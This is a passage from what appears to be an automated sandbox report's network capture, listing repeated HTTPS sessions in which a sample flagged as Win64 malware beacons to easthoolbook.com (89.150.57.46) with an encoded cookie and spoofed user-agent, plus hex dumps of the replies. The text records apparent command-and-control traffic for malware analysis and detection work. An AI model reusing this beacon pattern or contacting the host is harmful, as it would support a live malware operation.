2024-04-19 13:31:21 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:21 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:39 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:21 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49715	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:24 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:24 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:42 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:24 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49716	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:27 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:27 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:45 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:27 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49717	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:30 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:30 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:48 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:30 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49718	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:34 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:34 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:53 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:34 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49719	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:37 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:37 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:56 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:37 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49720	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:40 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:40 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:59 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:40 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49721	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:43 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:43 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:02 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:43 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49722	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:46 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:46 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:05 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:46 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49723	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:49 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:49 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:08 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:49 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49724	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:52 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:52 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:11 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:52 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 